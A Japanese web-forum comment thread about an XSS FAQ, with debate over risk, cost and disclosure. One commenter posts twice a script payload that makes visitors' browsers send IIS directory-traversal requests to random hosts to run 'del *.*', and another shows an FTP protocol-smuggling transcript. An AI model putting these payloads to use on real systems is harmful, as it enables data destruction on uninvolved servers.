The Cross Site Scripting FAQ 138
ストーリー by Oliver
Scriptさえなければ 部門より
Scriptさえなければ 部門より
k3c 曰く、 "Cgisecurity.comがThe Cross Site Scripting FAQというドキュメントを公開しています。クロスサイトスクリプティング(XSS)とは何か、という説明から始まって、XSSがもたらす脅威、XSS脆弱性を突く方法の基本、ベンダー側・ユーザー側の対策、有用なリンク集など、一通りの知識が分かりやすくまとめられています。Webアプリケーション開発者はもちろんのこと、「XSSってナニ?食えるの?」というアナタも一読をオススメ。私たちはこんなに危ないWeb世界を彷徨っている。
なお、XSS脆弱性をテストするためのCGIも提供されており、ログを見ることもできます。"
日本語情報 (スコア:3, 参考になる)
IPAのこちら [ipa.go.jp]は勉強になりますです。
重蔵。
Re:日本語情報 (スコア:1)
オープンハウスにて,産総研の高木浩光さん [aist.go.jp]のプレゼンを
聞く機会がありました(高木さんの参加するチームが管理する
SecurIT [etl.go.jp]というサイトで,XSSの危険性に関する論文が
参照できます。更新が2001/10/18で止まってますが)。
高木さん曰く:
管理側(お金を出す側)がXSSの危険性を全然理解していないため,
多くのWebPageが,セキュリティ対策もされないまま放置されて
いる。セキュリティ対策の予算や要員を出してくれない。従って,
XSSをはじめとするセキュリティ脆弱性について,まず管理側を
啓蒙する必要がある。その啓蒙の材料として,XSSに限らず,
様々なセキュリティ脆弱性の事例を集めたDBを整備している。
…との事でした。これが半年ほど前の話です。
最近はXSS絡みのニュースが多いので,現場の人はXSSについて
かなり周知されていると思うのですが,管理側の意識はどう
なのでしょう。いまだに『XSS? ナニソレ?』な人が多いんでしょうか。
被害が知りたい (スコア:2, 興味深い)
1.これまでにどういう被害があったか?
2.そのさい、どういう対策がとられたか?
3.被害総額はいくらくらいか?
という、実際に被害にあった例とその損害を数字で知りたいです。
なぜかというと、たとえば「包丁は危険です。だから使わないようにしましょう」ということはありえないですよね。
つまり、技術的な問題だけではなく、社会的な問題、法律、経済なども含めて、それがどのくらいの被害をもたらすものなのか、ということを考えて、対策時に対策コストを算出する必要があるからです。
たとえば、どんなにXSS脆弱性のあるサイトでも、「ここは別に脆弱性が残っていてもOK」という判断も、技術とは全く別の観点からありえるからです。
Re:被害が知りたい (スコア:3, 興味深い)
被害者が漏洩の原因に気付くことは極めて異例なケースでしょうし、被害があったことにすら気付かないことが多いでしょう。サービスサイトの管理者なら、詳細なログを採っていれば攻撃の可能性を検出することができるかもしれませんが、見つけても自ら外部にそれを明らかにすることはないでしょうし。
実際に悪質なクロスサイトスクリプティング攻撃の罠が仕掛けられているのが発見されたことがあるか?という点でいうと、あまりないようではありますが、攻撃が無差別なものばかりではないという点に注意が必要です。「セキュリティ対策=ウィルス対策」みたいな風潮が一部にありますが、特定の相手を狙った攻撃というものも現実性が十分にあると思われます。特定の人物のメールを盗み読むといった行為の動機を想像してみるとよいでしょう。 そのような場合には、罠はすぐに消されるでしょうから、見つからないのかもしれません。
次に、被害状況と対策の必要性とをどう関連づけるかですが、自動車(あるいは包丁)の欠陥の場合と比べてみると、それによって引き起こされるものは事故であるのに対し、セキュリティ脆弱性の場合には、悪意ある者の意志によって起きるか起きないかが決定されるという点が異なります。まさに攻撃されやすい(vulnerable)と表現されるとおりです。しかも、コンピュータにおけるセキュリティ脆弱性の場合には、(1) 100%の再現性がある、(2)犯人が身を隠し易いといった点で特徴的であるので、現時点で被害がないことから対策の必要性を低く見積もることを本当にやってよいのかどうか疑問を感じます。
最後に、「ここは別に脆弱性が残っていてもOK」という点についてですが、cookieを盗まれる問題以外の脅威については、ユーザが気をつけることで回避できるものです。よそのサイト(あるいはメール中)にあったリンクを辿ってやってきた画面は、たとえアドレスバーのURLが本物のようでも、ニセの内容を見せられているかもしれないと疑う目を持つ、つまり、世の中にはそういう攻撃方法があるのだということを知っておけば、回避できるでしょう。
ですから、cookieを使っていないサイトであれば、コストの都合でクロスサイトスクリプティング対策をしないというのもアリだと私は思います。ただしその場合は、
と明記しておくべきというのが正論かと思います。が、無理ですか?全部の場合は無理と思います。が (スコア:2, 興味深い)
技術的に見て「これは脅威だ!」というのは大変によくわかる。たとえて言えば、道路の真ん中に大きな穴があいているのは、誰でもわかっている。なのに「その脅威にはまって」「実際に穴に落ちる人がいない」ということであれば、誰もその穴をふさぐ必要を感じない、ということも会社も含めた世の中にはあるんです。
いいことではないとは思うけれど、「実際に道路の真ん中にある穴に落ちて怪我をしたことがある」という人がいない限り、穴をふさぐ作業に誰もお金をかけようとは思わないわけです。
たしかに、現状ほとんどの企業や団体がお金をあまり使えない状態にあるし、XSS対策をとる=道路の穴をふさぐより、もっと緊急で大きな問題を抱えていることが普通です。だから、対策の優先順位を上げてもらうために、どこかにその実例はないか?と探しているところなのですが、この実例が全然ないんですよね。。。。挙句の果ては「技術屋が趣味でみつけたどうでもいいことをさも大変なことのように、自己顕示欲を満足させたいために騒ぎ立てている」なんて言われちゃう始末なんです。
システム管理者の愚痴になってしまいましたが。。。。
Re:全部の場合は無理と思います。が (スコア:1)
1年前を思い返してみると、IEのセキュリティホールにパッチをあてることの重要性をいくら訴えても、あまり耳を貸してもらえる状況ではありませんでした。新聞やテレビで取り上げられることはけっしてありませんでしたし、パソコン雑誌ですら頑なに取り上げることを拒否するほどでした。あるセキュリティ専門機関に訴えても、「それって実際の被害が出るの?」と疑われる始末。そのときもやはり「個別のターゲットを狙った攻撃は起きていても知ることは困難」と先のコメントと同じことを説明したものです。
それがどうですか、9月18日のNimdaワームの登場で世の中はすっかり変わりました。もう一般の方にでさえ説明はいらなくなりました。
つまり、どういうことですか。
全くおっしゃる通りなんですが (スコア:1)
技術に強い人じゃないですし。。。。私を責められても私が困るだけで、解決にはならないのですが。
「そんな会社やめちゃえ!」ということを言われているのでしたら、それは私の事情もあって今はできないことですし、こちらの会社の事情や私の個人的な事情をお話しても、そういう解決をjbeefさんにしていただけるとも思いませんし。
おふとぴになるので、ここはこれで失礼させていただきますが。
Re:全くおっしゃる通りなんですが (スコア:0)
しかし、ほんとに必要と思ったら、そういう拒否パターンに関する情報集積も重要だと思いますよ。(外務/農水/雪印と見ていると…)
#怖いのでAC
Re:被害が知りたい (スコア:1)
それは無理というより、やることに対してメリットがないということで誰もやらないでしょうね。
たぶん、「(クロスサイトスクリプティング対策に限らず)個人情報の流出の危険性を明示していなかったので、それを知らずに利用したため自分たちの個人情報の流出し損害を受けた(ないしは危険性に晒された)」という内容の訴訟でも起きて、多額の賠償金を支払う羽目になる実例が出来れば、こぞって明記してくれるでしょう。:-P
少なくとも上記のように訴訟沙汰をおこされて万が一・・・を考えた 場合の損失が書いたことによる損失を上回らない限り、最終判断をするお偉いさんも納得しないのが現実ですね。
Re:被害が知りたい (スコア:1)
コスト度外視して対策しろ、なんて誰も言ってないと思うけど。
むしろ、「極めて必須に近いコストだから出来るだけ高い優先順位であらかじめ組み込んでおきましょう」という見方が一般的でしょう。XSS に関する知識、技術は、Web 関連技術者にとって、そうとう優先度の高い技術になっていると僕は思いますよ。それこそデザイナーにとってなら HTML、デベロッパーにとってなら HTTP と同列くらいに。
Only Jav^Hpanese available :-)
Re:被害が知りたい (スコア:0)
まるで、Microsoftの様な主張ですね;-)
Re:被害が知りたい (スコア:1)
さぞかし儲かってらっしゃるのでせう。
# セキュリティに無駄金使わないのがキモかな
XSSで引き起こされる被害 (スコア:1, すばらしい洞察)
前者に付いては、要は「Cookieを盗まれても大丈夫」な仕組みにしておけば問題ない。
たとえば、セッションキーをCookieで保持するようにしているのであれば、そのセッションキーを生成する時にクライアントのIPアドレスを含むデータをMD5して作るとかすれば、他のIPアドレスからのセッションハイジャックは検出できる。
Proxy通してると同一IPになっちゃう可能性もあるけど、クライアントが自分でProxyを通すようにしているのであれば、それはクライアントの責任だし、一部CATV局みたいに、強制的にProxy通させているような場合はCATV局の責任。企業とかでFireWall通っている場合にはその企業の責任。
後者(ブラウザのバグ)は明らかにブラウザ供給者の責任です。
こうやって考えると、Webページ作成者の責任はごく限られているにも関わらず、「XSS問題は全部Web作成者が責任持って解決すべきだ」とばかりにフォームさえあれば<S>hoge</S>とか書いて回るヤツははっきり言ってウザい。
更にちょっとでも見つかろうものなら鬼の首でも取ったかのように騒ぎ立てて「○○のサイトは脆弱だ」とか言って回る頭悪そうなヤツもいるし。
脆弱なのはブラウザなんだよ!!
Re:XSSで引き起こされる被害 (スコア:2, 参考になる)
>「XSS問題は全部Web作成者が責任持って解決すべきだ」とばかりに
>フォームさえあれば<S>hoge</S>とか書いて回るヤツははっきり言ってウザい。
>更にちょっとでも見つかろうものなら鬼の首でも取ったかのように騒ぎ立てて
>「○○のサイトは脆弱だ」とか言って回る頭悪そうなヤツもいるし。
それ以外にも、ページの改変を出来ます。
昔、Officeさんが首相官邸のXSS脆弱性を利用した
首相コメント(偽)を見れるものを公開してました・・・
ニュース系サイトや、公的機関のWebPageとかで、ありもしない記事が、
さも*そのサーバー上に存在しているように見える*
と言うのは脅威にはならないのでしょうか?
しかも、外見も文体も変わらなかった場合、やられたことには気づき難いです。
>脆弱なのはブラウザなんだよ!!
ブラウザはこの場合ほぼ関係ありません。
Re:XSSで引き起こされる被害 (スコア:2, 参考になる)
ちなみに、その脅威は、2000年2月のCERT Advisory CA-2000-02 [cert.org] で既に書かれていました。(このCA-2000-02ですが、なぜかcookieの盗み出しのことが書かれてないんですよね…。)
Re:XSSで引き起こされる被害 (スコア:0)
銀行などではログイン手続きの時には既にSSLが成立しているのに?というのはそれはさておき。 こんなすぐバレて、追跡し易く、かつ、きっちりと犯罪が成
Re:XSSで引き起こされる被害 (スコア:1)
どうにもなかなか正しく理解されないようですね…。
Re:XSSで引き起こされる被害 (スコア:0)
いっている意味がよくわからないのですが、SSLのX.509認証はなんのためにあるのでしょうか?
Re:XSSで引き起こされる被害 (スコア:1)
Re:XSSで引き起こされる被害 (スコア:1)
Re:XSSで引き起こされる被害 (スコア:1)
Re:XSSで引き起こされる被害 (スコア:1)
あと、CATVで同一IPアドレスになるのはProxyを強制しているからではなく、IP Masqueradeでプライベートアドレスを使わせているからだね。
あと、IPアドレスの完全一致でチェックするようにすると企業ユーザが使えなくなる(複数台のProxyサーバで負荷分散しているためにコネクションごとにIPアドレスが変わる)ことが多いのが現実だから、アドレスの最下位を無視するなどして幅を持たせてチェックせざるを得ない。となると、同じプロバイダにダイヤルアップしている者からの攻撃が防げなくなる。
素人はすっこんでたほうがいいよ。
Re:XSSで引き起こされる被害 (スコア:1)
> IP Masqueradeでプライベートアドレスを使わせているからだね。
もちろんそういう場合もありますが、トランスペアレントキャッシュで proxy を強制している場合もありますね。
Re:XSSで引き起こされる被害 (スコア:1)
Re:XSSで引き起こされる被害 (スコア:1)
>* ブラウザのセキュリティホールを突いてクライアントにいらん事される
>(ファイルを読み出されたり消されたり実行ファイルを突っ込まれたり)
これはあくまでXSSで引き起こされる被害の一部です。
ブラウザで可能なことであればほとんど出来ると思います。
例えば、クロスサイトスクリプトの問題がある掲示板に以下のようなコー
ドを含んだ発言を書き込めば、この掲示板を開いたブラウザは勝手に任
意のサーバーに攻撃を仕掛けることが可能になります。
<script>
ip = Math.round(Math.random()*253+1)+"." + Math.round(Math.random()*255) + "." + Mathround(Math.eandom()*255) + ".Math.round(Math.random()*253+1);
window.open("http://"+ip+"/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+del+*.*");
</script>
この手の例で有名なのはfushianaさんトラップがありますよね?まあ
ちょっと考えればこれを利用してワームを作ることも可能でしょう。
ちなみに、クリックすることで起動可能にするのであれば、FTPやSMTP
などについても攻撃可能にすることは可能だと思われます。TEXTエリア
に必要なコマンドを埋め込み、http://hoge.com:21/にPOSTで送信す
れば。。。
では、掲示板タイプでないものであれば安全か?と言うとそういうこと
もないと思います。インパクトがあるのは書き換えですよね。そのほか
にも踏み台として利用したりてことが考えられます。
ところで、ECサイト等のクロスサイトスクリプトには怪しいページか
らのリンクでなければ問題ないと言うのがありますが、なにも怪しいペ
ージからのリンクでなくてもメールを利用してしまえば簡単に悪意ある
コードを実行させることが可能だと思います。
例えば、「プレゼントセール実施中」等というメールにコードを含んだ
リンクを埋め込んでおけばたいていの人は引っかかるのではないでしょ
うか?
XSSを使えば自分の手を汚さないで結構悪いことが出来るので危険だと
思うのですが世間一般の認識はなんか低いですよねぇ?
Re:XSSで引き起こされる被害 (スコア:1)
サンプルコードはこうなります。
<script>
ip = Math.round(Math.random()*253+1)+"." + Math.round(Math.random()*255) + "." + Mathround(Math.eandom()*255) + ".Math.round(Math.random()*253+1); window.open("http://"+ip+"/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+del+*.*");
</script>
Re:XSSで引き起こされる被害 (スコア:1)
<script>....</script>
が書き込めてしまったようですね。HTMLソースを参照。
どうしてだろう?<script>は削除されるようになっているはずなのに。
バグのようですが、再現方法がわからない。
今 #96960にアクセスすると、スクリプトエラーが出るよ。
エラーでよかった。本当にヤバいコードだから、動いていたら大変なところだった。
Re:XSSで引き起こされる被害 (スコア:1)
ページが途切れる問題が発生したのを緊急回避するためです。
Re:XSSで引き起こされる被害 (スコア:1)
#97122は、以下のように書いたのでした。(今回は全角文字にて回避)
========
「コードが消えてしまった」のではなく、そのまま
<script>...</script>
が書き込めてしまったようですね。HTMLソースを参照。
どうしてだろう?<script>は削除されるようになっているはずなのに。
バグのようですが、再現方法がわからない。
今 #96960にアクセスすると、スクリプトエラーが出るよ。
エラーでよかった。本当にヤバいコードだから、動いていたら大変なところだった。
========
しかも、二つ目の<script>に対応する</script>が無いために、ページがそこで途切れてしまう状態にもなってしまった。
上の「←ここには</script>を埋め込んでいます。」というのはその対策です。(意味がわからない方は、HTMLソースを見てください。)
バグ報告せねば…(汗
Re:XSSで引き起こされる被害 (スコア:1)
Re:XSSで引き起こされる被害 (スコア:1)
なぁんか出てないなぁと思い、ソースは見たんですが、実行されてなかったので(調べてみたら、JAVAscript実行できないようにしていたんで当然なんですが)気にもしなかったんです。
さて、このような問題があってもXSSは大した問題じゃないという人はいるんでしょうか?まあ、JAVAScriptを実行しないようにしていれば問題ないんですけどね。
ごめんなさい(オフトピ) (スコア:1)
別に、皆さんを陥れようと思ってやったわけじゃないんです。
出きれば、#96960のスクリプト削除してもらえないですか?湖面と丸ごとでもいいです。お願いします。
Re:XSSで引き起こされる被害 (スコア:1)
Re:XSSで引き起こされる被害 (スコア:1)
実体参照に変更しました.
#jbeef さんが書かれているとおり,コードレベルではすでに
#修正をしております.
ご迷惑をおかけして申し訳ありませんでした.
Re:XSSで引き起こされる被害 (スコア:1)
具体的には、POST / HTTP/1.1以下のHTTPヘッダが最初につきますし。
そのようなものを、たとえばftp鯖がすんなり受け入れるとは思えないのですが
Re:XSSで引き起こされる被害 (スコア:2, 参考になる)
$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
220 ProFTPD 1.2.1 Server (ProFTPD) [hoge]
GET / HTTP/1.0
500 GET not understood.
Host: fdsjkl
500 HOST: not understood.
Content-Length: 100
500 CONTENT-LENGTH: not understood.
USER hoge
331 Password required for hoge.
pass HOGE
530 Login incorrect.
とまぁ、間違ったコマンドは無視してしまうわけです。これをうまく使えば
必要なコマンドを発行できるわけですね。これを多分securityfocusのメーリングリストだったと思いますが見たときはちょっと驚いてしまいました。
Re:XSSで引き起こされる被害 (スコア:1)
と書きましたが、ここにこの件についての記述があります。 [securiteam.com]
『はっきり言ってウザい』 (スコア:0, フレームのもと)
<s>hoge</s>なんてのを通しちゃうチョロいスクリプトを置いちゃう「Webページ作成者」の責任ってのは本当に『ごく限られている』のか?
分かってないなら語るなよ。『はっきり言ってウザい』から。
あとAC投稿を否定するつもりは毛頭無いけどさ、『フォームさえあれば~』ってのは例えば別コメントに出てるOfficeさんの事を言ってるんだろうけど、半端知識で語
Re:『はっきり言ってウザい』 (スコア:1, 参考になる)
> 脆弱なのはブラウザじゃなくてスクリプトだろ?
両方だと思うのに 1 票。
お約束だけどこれ [neohapsis.com]って悪意のあるスクリプトに対してブラウザが脆弱な例ですよね?
スコア:-1,フレーム続けるな、ボケぇ! でよろしくぅ
Re:XSSで引き起こされる被害の本当のところは... (スコア:0)
> 更にちょっとでも見
Re:Officeさんのこと? (スコア:1, 参考になる)
重箱の隅につついて、ほこりが出たら騒ぎ立てる。そうやってカネを得ようとするのが商売だからねぇ。仕方ないんじゃないすか。
本当にいい人ならこっそり会社に教えて、ちゃんと対応すればそのまま音便に済ませるでしょう。しかし、(自称)セキュリティ専門家は対応しようとしまいと騒ぐからね。こうやって自分を広告するしかないんです。
Re:Officeさんのこと? (スコア:1, 参考になる)
Office氏はそのように行動してるが何か?
その上でちゃんと対応しないので公開してるのだが何か?
#たしかに口は悪いけどね
Re:Officeさんのこと? (スコア:1)
「黙っていさえすればセキュリティーの問題は存在しないんだ、そうすれば管理者は対策しないでいられるから大助かりだ」という考え=つまり被害に遭うまでわからない人もいるし、警告してもらっても無視する人もいるようですね。
事実を明らかにしないと、消費者や顧客が被害に遭う羽目になりかねないのだけれど。でも「自分の銀行のサイトの脆弱性があっても俺は平気」という考えなら、立派です。
Re:Officeさんのこと? (スコア:1)
ところで逆に、お粗末なシステムで大量の顧客情報を不正流出させてる企業を取り締まる法律、っつーのはないもんなのか?ページ上での陳謝だけでお茶を濁せる、っつーのは事件の重大性から考えて信じられないことだと思うんだが。現状だとたぶん個人ベースで実害を被った時に初めて個人ベースでその企業を訴えられる、というくらいなんだと思うが、流出した情報と実害 (変な Direct Mail/Email の増加は十分実害に値すると思うんだが) の相関を立証するのは極めて困難、とゆーあたりが弁護士を駆り立てて集団訴訟に持ってくには大きな障害っぽいしなぁ。
***
「金、金、金の世の中デスカ?」じゃないけど、「コスト、コスト」と叫ぶ人達を見てると、ネットバブルでちょっと HTML がかけるくらいの人達が雨後の筍のように Web 製作会社を作ってしまったことで過当競争気味なのかねぇ、と思う。当事者は可哀想と思うけど、安易にビジネスをはじめてしまったツケが回ってきてるだけなような気もするな…。
Only Jav^Hpanese available :-)
Re:みんなカネないしね (スコア:1)
ネーダーや、まぁ office さんみたいなある種の「運動家」は、ある程度支持者を得て影響力を持ってこそナンボな部分があるわけで、そのための大前提の部分からして雲泥の差がある、ということが、このトピックで皆がこれだけ議論 (?) していることの原因なんでしょうね。技術的、法律的、倫理的、まぁなんでも「正しい」ことを主張していれば、表現形はどうあれ最終的には認められるはず、という妄想は非現実的であるってことだな。結局のところ技術的、法律的、倫理的、学問的まぁなんでも、意見が受け入れられるか否かということも、人と人との関係性の強度、という意味の政治力に左右されることは免れないのだとゆー普通人にとっては当たり前の結論に落ち着くわけだ。
ところで僕は office さん他についてそれほど詳しいわけじゃないんで、彼らの政治力が先の AC が書いたようにそれほど弱いのかどうかは定かではない (どっちかっつーと、皆がこれだけ知っている、というだけでも逆に相当なもんだと僕は思う)。そこんとこ、誤解しないで欲しい>皆の衆。
#カネなくて余裕ない、とゆーのには全く同意。今のニッポンの状況を如実に表していますな。
Only Jav^Hpanese available :-)
Re:XSSで引き起こされる被害 (スコア:1)
XSS(オフトピ) (スコア:1)
クロスサイトスクリプティングの略称として「XSS」という表記って一般的なんでしょうか?
#単に私がセキュリティ音痴という事もあるんですが ^^;;;
こういうタレこみの中であれば通じるんですがそうでない文章の中にいきなり出てきたら何の事かさっぱりさっぱり・・・ CSS でなく XSS とするのは Cascading Style Sheets と間違えないようにする為? (共に web site の話で出てきやすいし)
Re:XSS(オフトピ) (スコア:2)
XSSが一般的かどうかについてはまた別の話でしょうけど。
-+- 想像力を超え「創造力」をも凌駕する、それが『妄想力』!! -+-
Re:XSS(オフトピ) (スコア:2, 参考になる)
実際はHotWiredなど一部で使用されているようですが。
/.Jで、初めてこの表記が出てきたのはこのコメント [srad.jp]かな
まぁ今のところ、
「クロスサイトスクリプティング(以下CSS)とは~」や
「CSS(Cross Site Scripting)とは~」
みたいに、略称だけを使わないようにするのが一番かと思います。
ちなみに今、Googleで調べると
「"Cross Site Scripting" CSS [google.co.jp]」は約3,260件
「"Cross Site Scripting" XSS [google.co.jp]」は約350件
と、まだまだCSSのほうが普及しているようです。
問題は (スコア:1)
本当に問題ならば、1,2年も前に危惧されるはずだったろうに。